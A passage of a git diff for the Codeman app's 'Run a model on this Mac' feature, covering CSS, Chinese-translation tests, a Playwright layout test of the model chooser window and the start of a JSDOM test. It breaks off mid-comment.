linear-gradient(135deg, #1e4fb8 0%, #2563eb 100%); + color: #fff; +} + +html[data-skin='og'] .local-model-window .wt-btn-primary.lm-btn:hover:not(:disabled) { + background: linear-gradient(135deg, #2454a8 0%, #2d6cf0 100%); +} + +.local-model-window .wt-btn.lm-btn:focus-visible { + outline: 2px solid var(--accent); + outline-offset: 2px; +} + +@media (prefers-reduced-motion: reduce) { + .lm-bar-fill, + .lm-model { + transition: none; + } +} + +/* Touch: rows and the select get a finger's height. */ @media (pointer: coarse) { - .local-model-hide { - min-height: 32px; - padding: 0.3rem 0.8rem; + .lm-model { + min-height: 2.9rem; } - .local-model-alts > summary { - padding: 0.4rem 0; + .lm-select { + min-height: 36px; + } + + .local-model-window .wt-btn.lm-btn { + min-height: 40px; } } diff --git a/src/web/public/terminal-ui.js b/src/web/public/terminal-ui.js index 949cbbc8..27ea257f 100644 --- a/src/web/public/terminal-ui.js +++ b/src/web/public/terminal-ui.js @@ -2964,8 +2964,9 @@ Object.assign(CodemanApp.prototype, { // up (stopped in hideWelcome), see foreign-sessions.js. this.wireForeignSessions?.(); this.startForeignPolling?.(); - // What this Mac can run as a local model (local-model-ui.js). One request, - // at most once a minute, no timer: nothing to stop in hideWelcome. + // The "Run a local model" button (local-model-ui.js). One request, at most + // once a minute, no timer here: only its open window polls, and closing + // that window stops it, so there is nothing to stop in hideWelcome. this.loadLocalModel?.(); } // Home screen has no input target — hide the CJK textarea (activeSessionId diff --git a/test/local-model-i18n.test.ts b/test/local-model-i18n.test.ts index 691bff17..e71c4c54 100644 --- a/test/local-model-i18n.test.ts +++ b/test/local-model-i18n.test.ts @@ -1,18 +1,22 @@ /** - * @fileoverview The "Model on this Mac" card and its App Settings group in Chinese (zh-CN). + * @fileoverview "Run a model on this Mac" in Chinese (zh-CN): the welcome button, the chooser + * window and the App Settings group. * * Three sources of text, all checked against the real dictionary in i18n.js: * - the module's own strings, HARVESTED from the real local-model-ui.js (every literal it * passes to `localModelT`), so a new string without an entry fails here instead of showing * up English on one surface; - * - every sentence and label the SERVER may send (`LOCAL_MODEL_LABELS`, imported from the - * contract, so a label added there fails here until it has an entry); - * - the static heading and hint of the Settings group, read from the real index.html and run - * through the real DOM translator. + * - every sentence and label the SERVER may send: the recommendation (`LOCAL_MODEL_LABELS`), + * the tag of a model row (`LOCAL_MODEL_TAG_LABELS`) and the install + * (`LOCAL_MODEL_INSTALL_LABELS`), all imported from the contract, so a label added there + * fails here until it has an entry; + * - the static strings of the real index.html (the Settings group's heading and hint, the + * window's title), run through the real DOM translator. * - * Both containers carry data-i18n-skip (model, harness and chip names are someone else's - * text), so nothing in them is reached by the DOM translator: these strings translate only - * through the module's own call, which is why they are checked through `t()` here. + * The window's body, the welcome button and the Settings row carry data-i18n-skip (model, + * coding agent and chip names are someone else's text), so nothing in them is reached by the + * DOM translator: these strings translate only through the module's own call, which is why + * they are checked through `t()` here. * * Beyond "it is Chinese now", each entry must keep its `{placeholder}` slots: a translation * that drops one prints a sentence without its number. @@ -24,7 +28,13 @@ import { resolve } from 'node:path'; import vm from 'node:vm'; import { JSDOM } from 'jsdom'; import { afterAll, describe, expect, it } from 'vitest'; -import { LOCAL_MODEL_LABELS, LOCAL_MODEL_NONE_LABELS } from '../src/types.js'; +import { + LOCAL_MODEL_ERROR_LABELS, + LOCAL_MODEL_INSTALL_LABELS, + LOCAL_MODEL_LABELS, + LOCAL_MODEL_NONE_LABELS, + LOCAL_MODEL_TAG_LABELS, +} from '../src/types.js'; const PUBLIC = resolve(import.meta.dirname, '../src/web/public'); const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8'); @@ -39,11 +49,14 @@ type Api = { /** Every literal the module hands to its translator call (Prettier may break after the paren). */ const FROM_MODULE = [...new Set([...MODULE.matchAll(/localModelT\(\s*'([^']+)'/g)].map((m) => m[1]))]; -/** Every text the server may send. */ -const FROM_SERVER: string[] = Object.values(LOCAL_MODEL_LABELS); -/** Already in the dictionary for the outside-sessions block; reused here for a failed request. */ -const SHARED = ['Could not reach the server.']; -const OWN = FROM_MODULE.filter((source) => !SHARED.includes(source)); +/** Every text the server may send: the recommendation, the tag of a row, the install. */ +const FROM_SERVER: string[] = [ + ...new Set([ + ...Object.values(LOCAL_MODEL_LABELS), + ...Object.values(LOCAL_MODEL_TAG_LABELS), + ...Object.values(LOCAL_MODEL_INSTALL_LABELS), + ]), +]; /** A page with only the translator in it: enough for `t()`, and cheap to re-configure. */ const small = new JSDOM('<!doctype html><html><body></body></html>', { @@ -66,13 +79,15 @@ afterAll(() => { page.window.close(); }); -/** The Settings group's static strings, as index.html ships them (English). */ +/** The static strings of the page, as index.html ships them (English): the Settings group and the window's title. */ const GROUP_MARKUP = INDEX.match( /<div class="set-group" id="localModelGroup">\s*<div class="set-group-head"><h4>([^<]+)<\/h4><\/div>\s*<p class="set-group-hint">([^<]+)<\/p>/ ); -const STATIC = GROUP_MARKUP ? [GROUP_MARKUP[1].trim(), GROUP_MARKUP[2].trim()] : []; +const TITLE_MARKUP = INDEX.match(/<h3 id="localModelModalTitle">([^<]+)<\/h3>/); +const STATIC = + GROUP_MARKUP && TITLE_MARKUP ? [GROUP_MARKUP[1].trim(), GROUP_MARKUP[2].trim(), TITLE_MARKUP[1].trim()] : []; -const ALL = [...new Set([...OWN, ...FROM_SERVER, ...STATIC])]; +const ALL = [...new Set([...FROM_MODULE, ...FROM_SERVER, ...STATIC])]; /** The `{slot}` names of a source text. */ const slots = (text: string) => [...text.matchAll(/\{([a-zA-Z]\w*)\}/g)].map((m) => m[1]); @@ -80,25 +95,29 @@ const slots = (text: string) => [...text.matchAll(/\{([a-zA-Z]\w*)\}/g)].map((m) /** U+2013, U+2014 and U+2015, built from their code points so this file holds none of them. */ const LONG_DASH = new RegExp(`[${String.fromCharCode(0x2013, 0x2014, 0x2015)}]`); -/** What may stay Latin: the product, the platform and its vendors, the unit, and Token (the dictionary's own word). */ +/** + * What may stay Latin: the product, the platform and its vendors, the units, Token (the + * dictionary's own word), and the proper names of the install (the runtime, the two tools a + * coding agent calls, the GPU and an API key). + */ const leftover = (text: string) => - text.replace(/\b(Codeman|macOS|Mac|GB|Apple|Intel|Token)\b/g, '').match(/[A-Za-z]+/g) ?? []; + text.replace(/\b(Codeman|macOS|Mac|GB|MB|Apple|Intel|Token|Ollama|GPU|API|git|Python)\b/g, '').match(/[A-Za-z]+/g) ?? + []; describe('the local model strings in zh-CN', () => { it('harvests the module (the check is not vacuous)', () => { - expect(FROM_MODULE).toContain('Model on this Mac'); - expect(FROM_MODULE).toContain('{model} ({id}) with {harness}'); - expect(FROM_MODULE).toContain('Needs about {need} GB of the {budget} GB this Mac can give a model (estimated).'); - expect(FROM_MODULE).toContain( - 'Codeman cannot download or install this for you yet. That is the next step, and it is not built yet.' - ); - // What the fit and speed labels measure, and the speed of an alternative. - expect(FROM_MODULE).toContain('Memory fit: needs {share}% of what this Mac can give a model'); - expect(FROM_MODULE).toContain('No speed estimate for this model on this chip'); - expect(FROM_MODULE).toContain('about {speed} tokens per second'); - expect(FROM_MODULE.length).toBeGreaterThanOrEqual(20); + expect(FROM_MODULE).toContain('Run a local model'); + expect(FROM_MODULE).toContain('Local model'); + expect(FROM_MODULE).toContain('About {need} of {budget} GB of memory'); + expect(FROM_MODULE).toContain('Install on this Mac'); + expect(FROM_MODULE).toContain('Download and install'); + expect(FROM_MODULE).toContain('{speed} MB per second, {left}'); + expect(FROM_MODULE).toContain('You can close this window. The download continues while Codeman is running.'); + expect(FROM_MODULE).toContain('Start a session'); + expect(FROM_MODULE).toContain('{model} is ready on this Mac.'); + expect(FROM_MODULE.length).toBeGreaterThanOrEqual(70); // The only other way the module calls its translator is with payload text (a server - // sentence or label), so no string of its own can reach the page unharvested. + // sentence, or the tag of a row), so no string of its own can reach the page unharvested. const code = MODULE.split('\n') .filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line)) .join('\n'); @@ -108,14 +127,23 @@ describe('the local model strings in zh-CN', () => { // One more: the function's own declaration. expect(calls).toBe(literalCalls + payloadCalls + 1); expect(payloadCalls).toBe(2); + // The stage that only read is gone, with its sentence. + expect(MODULE).not.toContain('cannot download or install'); }); - it('lists every server label, the none reasons included', () => { + it('lists every server label: the recommendation, the tags and the install', () => { // A label added to the contract later fails below by its text, not here by a count. - expect(FROM_SERVER.length).toBeGreaterThanOrEqual(18); + expect(FROM_SERVER.length).toBeGreaterThanOrEqual(18 + 3 + 26); for (const text of Object.values(LOCAL_MODEL_NONE_LABELS)) expect(FROM_SERVER).toContain(text); + // Every error code has its sentence in the list. + for (const text of Object.values(LOCAL_MODEL_ERROR_LABELS)) expect(FROM_SERVER).toContain(text); expect(FROM_SERVER).toContain('Best fit for this Mac'); expect(FROM_SERVER).toContain('Speed unknown'); + expect(FROM_SERVER).toContain('Tested on a Mac like this'); + expect(FROM_SERVER).toContain('Best fit'); + expect(FROM_SERVER).toContain('Small model'); + expect(FROM_SERVER).toContain(LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged); + expect(FROM_SERVER).toContain(LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen); // The two other sentences of the `memory` reason and the two notes are not in the // reason map, so they are named here. expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noneMemoryContext); @@ -124,6 +152,12 @@ describe('the local model strings in zh-CN', () => { expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noteDiskDropped); }); + it('prints the developer tools sentence from one source', () => { + // Not sent by the server: the window prints it when `developerTools` is `missing`. The + // module's literal is the contract's text, so one dictionary entry serves both. + expect(FROM_MODULE).toContain(LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing); + }); + it('never uses the translator slot {name} for a value of its own', () => { for (const text of ALL) expect(slots(text), text).not.toContain('name'); }); @@ -166,9 +200,10 @@ describe('the local model strings in zh-CN', () => { } }); - it('translates the Settings group heading and hint in the page, and leaves both containers alone', () => { - expect(STATIC).toHaveLength(2); + it('translates the static strings in the page, and leaves what the module writes alone', () => { + expect(STATIC).toHaveLength(3); expect(STATIC[0]).toBe('Model on this Mac'); + expect(STATIC[2]).toBe('Run a model on this Mac'); const translated = page.window.document.getElementById('localModelGroup')!; const heading = translated.querySelector('.set-group-head h4')!.textContent!.trim(); const hint = translated.querySelector('.set-group-hint')!.textContent!.trim(); @@ -176,8 +211,16 @@ describe('the local model strings in zh-CN', () => { expect(hint).not.toBe(STATIC[1]); expect(hint).toBe(api.t(STATIC[1])); expect(leftover(hint)).toEqual([]); - // Written only by the module, through its own translator call. - expect(INDEX).toMatch(/id="localModelCard"[^>]*data-i18n-skip/); - expect(INDEX).toMatch(/id="localModelSettings"[^>]*data-i18n-skip/); + const title = page.window.document.getElementById('localModelModalTitle')!.textContent!.trim(); + expect(title).toBe('在此 Mac 上运行模型'); + // The dialog's close button is named in Chinese too. + const close = page.window.document.querySelector('#localModelModal .modal-close')!; + expect(close.getAttribute('aria-label')).toBe('关闭'); + // Written only by the module, through its own translator call. The button keeps the + // English label it ships with until the module shows it. + for (const id of ['welcomeLocalModelBtn', 'localModelSettings', 'localModelSettingsOpen', 'localModelWindowBody']) { + expect(INDEX).toMatch(new RegExp(`id="${id}"[^>]*data-i18n-skip`)); + } + expect(page.window.document.getElementById('welcomeLocalModelLabel')!.textContent).toBe('Run a local model'); }); }); diff --git a/test/local-model-ui.browser.test.ts b/test/local-model-ui.browser.test.ts new file mode 100644 index 00000000..29380170 --- /dev/null +++ b/test/local-model-ui.browser.test.ts @@ -0,0 +1,349 @@ +/** + * @fileoverview Real-Chromium coverage for the "Run a model on this Mac" window + * (src/web/public/local-model-ui.js): what DOM emulation cannot answer, because it lays nothing + * out. + * + * - the numbers of the model list line up: every row's speed and download size end on the + * same edge, under their captions, and every tag starts on the same edge; + * - a row is one line on a desktop and two lines under 560px, where nothing runs off the + * side and the buttons take the full width; + * - the memory bar is 10px high and filled to the selected model's share of its track, and + * the fill follows the selection; + * - the selected row carries the accent on its reading edge; + * - the welcome button is really gone while it is `hidden`, and the window paints above App + * Settings. + * + * The REAL index.html is served with its scripts taken out and the two shipping stylesheets + * inlined (mobile.css under the media query its `<link>` carries); the real module runs on a + * bare `CodemanApp` whose `_api` answers a fixture payload. The states themselves are pinned in + * JSDOM by test/local-model-ui.test.ts. + * + * Port: none (page.route on a fake origin, no server). + */ + +import { readFileSync } from 'node:fs'; +import { resolve } from 'node:path'; +import { afterAll, afterEach, beforeAll, describe, expect, it } from 'vitest'; +import { chromium, type Browser, type Page } from 'playwright'; + +const dir = resolve(import.meta.dirname, '../src/web/public'); +const read = (name: string) => readFileSync(resolve(dir, name), 'utf8'); +const ORIGIN = 'http://app.test/'; + +/** + * index.html as shipped, minus every script, with styles.css and mobile.css inlined. The + * comments go first: some of them mention a script tag, which would otherwise open a match + * that swallows the markup up to the next real one. + */ +const MARKUP = read('index.html') + .replace(/<!--[\s\S]*?-->/g, '') + .replace(/<script\b[\s\S]*?<\/script>/g, ''); +const PAGE = MARKUP.replace( + '<link rel="stylesheet" href="styles.css">', + () => `<style>${read('styles.css')}</style>` +).replace( + '<link rel="stylesheet" href="mobile.css" media="(max-width: 1023px)">', + () => `<style media="(max-width: 1023px)">${read('mobile.css')}</style>` +); + +const RUNTIME = 185971671; + +function row(modelId: string, modelLabel: string, downloadBytes: number, downloadGb: string, over: object = {}) { + return { + modelId, + modelLabel, + license: 'Apache-2.0', + paramsB: 9, + context: 131072, + cli: 'opencode', + cliLabel: 'OpenCode', + cliInstalled: true, + needBytes: 1, + needGb: '20.0', + downloadBytes, + downloadGb, + budgetShare: 0.5, + fit: 'good', + fitLabel: 'Good', + speed: 'ok', + tested: false, + needSource: 'estimated', + harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', installed: true }], + installBytes: downloadBytes + RUNTIME, + installGb: downloadGb, + ...over, + }; +} + +const STATUS = { + hardware: { + platform: 'darwin', + arch: 'arm64', + memBytes: 51539607552, + memGb: '51.5', + memClassGb: 48, + chip: 'Apple M5 Pro', + freeDiskBytes: 897000000000, + freeDiskGb: '897', + source: 'sysctl', + }, + recommendation: { + verdict: 'ok', + headline: { text: 'Recommended for this Mac' }, + notes: [], + pick: row('qwen3.6:35b-a3b', 'Qwen3.6 35B-A3B', 23105798956, '23.1', { + needGb: '36.0', + budgetShare: 0.957, + tokensPerSecond: 67.7, + tested: true, + tag: { kind: 'tested', label: 'Tested on a Mac like this' }, + }), + alternatives: [ + row('qwen3.8:27b', 'Qwen3.8 27B', 17741871939, '17.7', { + needGb: '30.6', + budgetShare: 0.814, + tokensPerSecond: 9.1, + tag: { kind: 'slow', label: 'Slow' }, + }), + row('gpt-oss:20b', 'GPT-OSS 20B', 13793441427, '13.8', { needGb: '26.6', budgetShare: 0.709, speed: 'unknown' }), + row('qwen3.5:9b', 'Qwen3.5 9B', 6550825373, '6.6', { + needGb: '17.0', + budgetShare: 0.25, + tokensPerSecond: 28.6, + tag: { kind: 'small', label: 'Small model' }, + }), + ], + budgetBytes: 37580963840, + budgetGb: '37.6', + budgetSource: 'estimated', + }, + catalogUpdated: '2026-11-06', + install: { + state: 'idle', + running: false, + developerTools: 'present', + runtime: { version: '0.40.15', installed: false, downloadBytes: RUNTIME, downloadGb: '0.2', unpackedGb: '0.6' }, + folder: '/Users/sam/.codeman/local-model', + actions: ['install'], + }, +}; + +type Box = { left: number; right: number; top: number; bottom: number; width: number; height: number }; + +/** What the page holds once the module ran on the stand-in class. */ +interface PageApp { + _api: () => Promise<unknown>; + loadLocalModel(): Promise<void>; + openLocalModelWindow(): void; +} +type PageWindow = { CodemanApp: new () => PageApp; app: PageApp }; + +describe('the local model window (real Chromium)', () => { + let browser: Browser; + let p: Page; + beforeAll(async () => { + browser = await chromium.launch(); + }); + afterAll(async () => { + await browser.close(); + }); + afterEach(async () => { + await p?.close(); + }); + + it('runs on the real page with both stylesheets in it', () => { + expect(MARKUP).toContain('id="localModelModal"'); + expect(MARKUP.includes('<script')).toBe(false); + expect(PAGE.includes('.lm-bar-fill {')).toBe(true); + expect(PAGE.includes('<style media="(max-width: 1023px)">')).toBe(true); + expect(PAGE.includes('href="styles.css"')).toBe(false); + }); + + /** The real page at a width, the module loaded, the answer in, the window closed. */ + async function load(width: number, height = 900) { + p = await browser.newPage({ viewport: { width, height }, deviceScaleFactor: 1 }); + // No motion: the bar is at its width as soon as it is painted, so nothing here waits on a clock. + await p.emulateMedia({ reducedMotion: 'reduce' }); + await p.route('**/*', (route) => + route.request().url() === ORIGIN + ? route.fulfill({ contentType: 'text/html', body: PAGE }) + : route.fulfill({ status: 404, body: '' }) + ); + await p.goto(ORIGIN); + await p.addScriptTag({ content: `function CodemanApp() {}\n${read('local-model-ui.js')}` }); + await p.evaluate(async (status) => { + const w = window as unknown as PageWindow; + document.body.classList.add('app-loaded'); + document.getElementById('welcomeOverlay')!.classList.add('visible'); + w.app = new w.CodemanApp(); + w.app._api = async () => ({ ok: true, status: 200, json: async () => ({ success: true, data: status }) }); + await w.app.loadLocalModel(); + }, STATUS); + } + + /** Two animation frames: whatever was just written is laid out and painted. */ + const painted = () => + p.evaluate(() => new Promise<void>((done) => requestAnimationFrame(() => requestAnimationFrame(() => done())))); + + async function open() { + await p.evaluate(() => (window as unknown as PageWindow).app.openLocalModelWindow()); + await painted(); + } + + const boxes = (selector: string) => + p.evaluate( + (sel) => + [...document.querySelectorAll(sel)].map((el) => { + const r = el.getBoundingClientRect(); + return { left: r.left, right: r.right, top: r.top, bottom: r.bottom, width: r.width, height: r.height }; + }), + selector + ) as Promise<Box[]>; + + const same = (values: number[]) => Math.max(...values) - Math.min(...values) <= 0.6; + + it('shows the welcome button only once the server answered for a Mac', async () => { + p = await browser.newPage({ viewport: { width: 1440, height: 900 }, deviceScaleFactor: 1 }); + await p.route('**/*', (route) => + route.request().url() === ORIGIN + ? route.fulfill({ contentType: 'text/html', body: PAGE }) + : route.fulfill({ status: 404, body: '' }) + ); + await p.goto(ORIGIN); + // As shipped: `hidden`, and really not laid out although the chip class is inline-flex. + expect(await p.evaluate(() => getComputedStyle(document.getElementById('welcomeLocalModelBtn')!).display)).toBe( + 'none' + ); + await p.close(); + await load(1440); + const [button] = await boxes('#welcomeLocalModelBtn'); + expect(button.width).toBeGreaterThan(100); + // One more chip of the launcher family: the same height as the chips above it would have. + expect(Math.round(button.height)).toBe(30); + expect(await p.textContent('#welcomeLocalModelLabel')).toBe('Run a local model'); + }); + + it('lines the numbers up down the list on a desktop, one line a row', async () => { + await load(1440); + await open(); + const rows = await boxes('.lm-models .lm-model'); + expect(rows).toHaveLength(4); + const names = await boxes('.lm-model-name'); + const tags = await boxes('.lm-model-tag'); + const speeds = await boxes('.lm-model-speed'); + const sizes = await boxes('.lm-model-size'); + // Every number ends on the same edge, and every tag starts on the same edge. + expect(same(sizes.map((box) => box.right))).toBe(true); + expect(same(speeds.map((box) => box.right))).toBe(true); + expect(same(tags.map((box) => box.left))).toBe(true); + expect(same(names.map((box) => box.left))).toBe(true); + // The captions sit over their columns. + const [speedCaption] = await boxes('.lm-caption-speed'); + const [sizeCaption] = await boxes('.lm-caption-size'); + expect(same([speedCaption.right, speeds[0].right])).toBe(true); + expect(same([sizeCaption.right, sizes[0].right])).toBe(true); + // One line: name, tag, speed and size share a row's middle. + for (let i = 0; i < rows.length; i++) { + const middle = (box: Box) => (box.top + box.bottom) / 2; + expect(Math.abs(middle(names[i]) - middle(sizes[i]))).toBeLessThan(3); + expect(Math.abs(middle(names[i]) - middle(speeds[i]))).toBeLessThan(3); + expect(names[i].right).toBeLessThanOrEqual(tags[i].left + 0.6); + expect(speeds[i].right).toBeLessThanOrEqual(sizes[i].left + 0.6); + } + // What is in a row lines up with the rest of the window on both edges. + const [figure] = await boxes('.lm-figure'); + const [radio] = await boxes('.lm-radio'); + const [bar] = await boxes('.lm-bar'); + expect(same([figure.left, radio.left, bar.left])).toBe(true); + expect(same([bar.right, sizes[0].right])).toBe(true); + }); + + it('fills the bar to the selected model, and the fill follows the selection', async () => { + await load(1440); + await open(); + const share = async () => { + const [track] = await boxes('.lm-bar'); + const [fill] = await boxes('.lm-bar-fill'); + expect(Math.round(track.height)).toBe(10); + expect(Math.round(fill.height)).toBe(10); + expect(same([track.left, fill.left])).toBe(true); + return fill.width / track.width; + }; + // The pick is a tight fit: the bar is nearly full, and a sliver of the track still shows. + expect(await share()).toBeCloseTo(0.96, 2); + await p.click('.lm-models .lm-model:nth-child(4)'); + await painted(); + expect(await share()).toBeCloseTo(0.25, 2); + await p.keyboard.press('ArrowUp'); + await painted(); + expect(await share()).toBeCloseTo(0.71, 2); + // The fill moves over a short moment, and stands still for a reader who wants no motion. + const duration = () => + p.evaluate(() => getComputedStyle(document.querySelector('.lm-bar-fill')!).transitionDuration); + expect(await duration()).toBe('0s'); + await p.emulateMedia({ reducedMotion: 'no-preference' }); + expect(await duration()).toBe('0.32s'); + await p.emulateMedia({ reducedMotion: 'reduce' }); + // The track is not the window's own colour, or the free part could not be seen. + const paint = await p.evaluate(() => { + const css = (sel: string, prop: string) => getComputedStyle(document.querySelector(sel)!).getPropertyValue(prop); + return { + track: css('.lm-bar', 'background-color'), + fill: css('.lm-bar-fill', 'background-color'), + fillImage: css('.lm-bar-fill', 'background-image'), + window: css('.local-model-window', 'background-color'), + edge: css('.lm-model-on', 'border-left-color'), + idleEdge: css('.lm-model:not(.lm-model-on)', 'border-left-color'), + }; + }); + expect(paint.track).not.toBe(paint.window); + expect(paint.track).not.toBe(paint.fill); + expect(paint.fillImage).toBe('none'); + // The selected row carries the accent (the fill's colour) on its reading edge. + expect(paint.edge).toBe(paint.fill); + expect(paint.idleEdge).not.toBe(paint.fill); + }); + + it('stacks two lines a row under 560px, with nothing running off the side', async () => { + await load(390, 844); + await open(); + const names = await boxes('.lm-model-name'); + const tags = await boxes('.lm-model-tag'); + const speeds = await boxes('.lm-model-speed'); + const sizes = await boxes('.lm-model-size'); + for (let i = 0; i < names.length; i++) { + // Name and tag, then speed and size. + expect(speeds[i].top).toBeGreaterThanOrEqual(names[i].bottom - 1); + expect(sizes[i].top).toBeGreaterThanOrEqual(names[i].bottom - 1); + expect(tags[i].top).toBeLessThan(names[i].bottom); + expect(same([names[i].left, speeds[i].left])).toBe(true); + } + expect(same(sizes.map((box) => box.right))).toBe(true); + // The window fills the phone, the bar and the button take its width, and nothing overflows. + const [win] = await boxes('.local-model-window'); + expect(Math.round(win.width)).toBe(390); + expect(Math.round(win.height)).toBe(844); + const [bar] = await boxes('.lm-bar'); + const [button] = await boxes('.lm-buttons button'); + expect(same([bar.left, button.left])).toBe(true); + expect(same([bar.right, button.right])).toBe(true); + expect(button.height).toBeGreaterThanOrEqual(44); + const overflow = await p.evaluate(() => { + const body = document.getElementById('localModelWindowBody')!; + return body.scrollWidth - body.clientWidth; + }); + expect(overflow).toBeLessThanOrEqual(0); + }); + + it('paints above App Settings when it is opened from there', async () => { + await load(1440); + await p.evaluate(() => document.getElementById('appSettingsModal')!.classList.add('active')); + await open(); + const top = await p.evaluate(() => { + const box = document.querySelector('.local-model-window')!.getBoundingClientRect(); + const hit = document.elementFromPoint(box.left + box.width / 2, box.top + 20); + return !!hit && !!hit.closest('#localModelModal'); + }); + expect(top).toBe(true); + }); +}); diff --git a/test/local-model-ui.test.ts b/test/local-model-ui.test.ts index 07d80879..a13ea890 100644 --- a/test/local-model-ui.test.ts +++ b/test/local-model-ui.test.ts @@ -1,28 +1,30 @@ /** - * @fileoverview The "Model on this Mac" card of the welcome screen and its App Settings row - * (src/web/public/local-model-ui.js), driven in JSDOM over the REAL index.html with the real - * module and a mocked `_api`. + * @fileoverview "Run a model on this Mac": the welcome button, the chooser window and the App + * Settings row (src/web/public/local-model-ui.js), driven in JSDOM over the REAL markup of + * index.html with the real module and a mocked `_api`. * * What is pinned: - * - every state the route can produce: loading, refused (403 FORBIDDEN), a 403 that is not a - * refusal, failed, not macOS, each `none` sentence, `limited`, `ok`; - * - the card stays hidden until the server answered for a Mac, and so does the Settings group - * (never "Model on this Mac" on a server that is not one); the group carries the failure - * sentence; - * - the card and the row show the SAME pick (one builder), the card folds the alternatives; - * - the installed memory is the size the Mac is sold as, every other size is printed as sent; - * - each fit and speed label says what it measures, and the line about the missing setup - * sits right under the pick; - * - every payload string lands as text: an `<img onerror>` in a model, harness or chip name, - * or in a slot value of a server sentence, creates no element and runs nothing; - * - sizes are printed as sent (decimal GB text), and the word "Recommended" is the server's - * to send, never this module's; - * - the dismissal is a per-device localStorage key and survives a new app instance; - * - one request a minute at most, shared while in flight, and a failed refresh keeps the answer. + * - the markup: one button in the welcome launchers (no card), one modal after App Settings, + * one row with a button in Settings > Models; + * - when anything shows: hidden while the first request is in flight, for a refusal (403 + * FORBIDDEN, and only that 403), for a failed request (Settings alone says so) and for a + * server that is not a Mac; + * - every screen of the window: the chooser with five models, a tight fit, confirm, progress, + * paused, a failure with each helpful action, installed (running and stopped), the Remove + * question, and no recommendation; + * - the radio group: roles, one tab stop, arrow keys, Home and End, the focus following; + * - the memory bar's value following the selection; + * - the consent: the install request carries the server's own total for the row that was on + * screen, and a 409 `size-changed` shows the new total and sends that one next; + * - the poll: once a second while the window is open, never after it closes, and a tick that + * moved only the download leaves the buttons in place; + * - every payload string lands as text: an `<img onerror>` in a model, agent or chip name, an + * error's detail, a session name, a folder or a command creates no element; + * - a button exists only for an action the server lists. * - * The payloads here are fixtures typed with `LocalModelStatus` and built from - * `LOCAL_MODEL_LABELS`, not the output of the route: what the server computes for a given Mac is - * pinned by test/local-model-recommend.test.ts and test/routes/local-model-routes.test.ts. + * The payloads are fixtures typed with the contract's types and built from its label + * constants, not the output of the route: what the server computes is pinned by + * test/local-model-recommend.test.ts and test/routes/local-model-routes.test.ts. * * Port: none. */ @@ -31,10 +33,21 @@ import { resolve } from 'node:path'; import vm from 'node:vm'; import { JSDOM } from 'jsdom'; import { afterAll, afterEach, describe, expect, it, vi } from 'vitest'; -import { LOCAL_MODEL_LABELS, LOCAL_MODEL_NONE_LABELS } from '../src/types.js'; +import { + LOCAL_MODEL_ERROR_LABELS, + LOCAL_MODEL_ERROR_NEXT, + LOCAL_MODEL_INSTALL_LABELS, + LOCAL_MODEL_LABELS, + LOCAL_MODEL_NONE_LABELS, + LOCAL_MODEL_TAG_LABELS, +} from '../src/types.js'; import type { Candidate, + CandidateHarness, HardwareFacts, + LocalModelConflict, + LocalModelErrorCode, + LocalModelInstallView, LocalModelMessage, LocalModelStatus, NoneReason, @@ -45,20 +58,25 @@ const PUBLIC = resolve(import.meta.dirname, '../src/web/public'); const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8'); const MODULE = readFileSync(resolve(PUBLIC, 'local-model-ui.js'), 'utf8'); const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8'); - -/** Named for the read-only stage, so the stage that can set a model up takes a key of its own. */ -const DISMISS_KEY = 'codeman:local-model-dismissed:readonly'; -const NEXT_STEP = - 'Codeman cannot download or install this for you yet. That is the next step, and it is not built yet.'; +const STYLES = readFileSync(resolve(PUBLIC, 'styles.css'), 'utf8'); +const MOBILE = readFileSync(resolve(PUBLIC, 'mobile.css'), 'utf8'); type ApiResponse = { ok: boolean; status: number; json(): Promise<unknown> } | null; +type ApiOptions = { method?: string; body?: unknown }; +type ApiHandler = (path: string, options: ApiOptions) => ApiResponse | Promise<ApiResponse>; interface App { _api: ReturnType<typeof vi.fn>; - loadLocalModel(): Promise<void>; + loadLocalModel(options?: { force?: boolean }): Promise<void>; renderLocalModel(): void; - dismissLocalModelCard(): void; - isLocalModelCardDismissed(): boolean; + openLocalModelWindow(): void; + closeLocalModelWindow(): void; + isLocalModelWindowOpen(): boolean; + startLocalModelSession(): Promise<void>; + loadAppSettingsFromServer?: () => Promise<void>; + loadCliListForSettings?: () => Promise<void>; + selectCustomModelEntry?: (cli: string, endpointId: string) => Promise<void>; + closeAppSettings?: () => void; } interface I18nApi { @@ -67,17 +85,19 @@ interface I18nApi { } /** - * The two containers exactly as index.html ships them, lifted out of the real page once. Each - * test then runs in a small page made of that markup: parsing the whole of index.html for - * every case would cost the gate half a minute and prove nothing more. + * The three pieces of markup exactly as index.html ships them, lifted out of the real page + * once. Each test then runs in a small page made of that markup: parsing the whole of + * index.html for every case would cost the gate minutes and prove nothing more. */ const REAL = new JSDOM(INDEX); const REAL_DOCUMENT = REAL.window.document; -const CARD_MARKUP = REAL_DOCUMENT.getElementById('localModelCard')?.outerHTML ?? ''; +const BUTTON_MARKUP = REAL_DOCUMENT.getElementById('welcomeLocalModelBtn')?.outerHTML ?? ''; const GROUP_MARKUP = REAL_DOCUMENT.getElementById('localModelGroup')?.outerHTML ?? ''; +const MODAL_MARKUP = REAL_DOCUMENT.getElementById('localModelModal')?.outerHTML ?? ''; const PAGE = `<!doctype html><html lang="en"><body> -<div class="welcome-content">${CARD_MARKUP}</div> -<section class="set-section" id="settings-models">${GROUP_MARKUP}</section> +<div class="welcome-actions"><div id="welcomeCliActions"></div>${BUTTON_MARKUP}</div> +<div class="modal" id="appSettingsModal"><section class="set-section" id="settings-models">${GROUP_MARKUP}</section></div> +${MODAL_MARKUP} </body></html>`; const open: JSDOM[] = []; @@ -99,46 +119,110 @@ function refusal(status: number, errorCode: string): ApiResponse { return { ok: false, status, json: async () => ({ success: false, error: 'no', errorCode }) }; } +/** A 409 of an install verb: the error envelope plus the conflict as `data`. */ +function conflict(data: LocalModelConflict): ApiResponse { + return { + ok: false, + status: 409, + json: async () => ({ success: false, error: data.message.text, errorCode: 'CONFLICT', data }), + }; +} + /** * The real markup with the real module in it. `CodemanApp` is the only stand-in: app.js defines - * it as a classic-script global, and the module mixes into its prototype. + * it as 